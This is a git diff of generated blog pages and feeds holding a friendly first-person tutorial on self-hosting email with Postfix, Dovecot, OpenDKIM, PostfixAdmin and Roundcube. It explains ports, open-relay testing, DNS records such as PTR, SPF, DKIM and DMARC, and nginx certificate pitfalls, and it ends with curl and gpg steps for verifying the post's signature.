    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/postfix/page/1/index.html b/public-clearnet/tags/postfix/page/1/index.html new file mode 100644 index 0000000..1febcbb --- /dev/null +++ b/public-clearnet/tags/postfix/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/postfix/ + \ No newline at end of file diff --git a/public-clearnet/tags/postfixadmin/index.html b/public-clearnet/tags/postfixadmin/index.html new file mode 100644 index 0000000..98d18bf --- /dev/null +++ b/public-clearnet/tags/postfixadmin/index.html @@ -0,0 +1,13 @@ +Postfixadmin | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/postfixadmin/index.xml b/public-clearnet/tags/postfixadmin/index.xml new file mode 100644 index 0000000..ff39eaa --- /dev/null +++ b/public-clearnet/tags/postfixadmin/index.xml @@ -0,0 +1,135 @@ +Postfixadmin on AlipourIm journeyshttps://blog.alipour.eu/tags/postfixadmin/Recent content in Postfixadmin on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

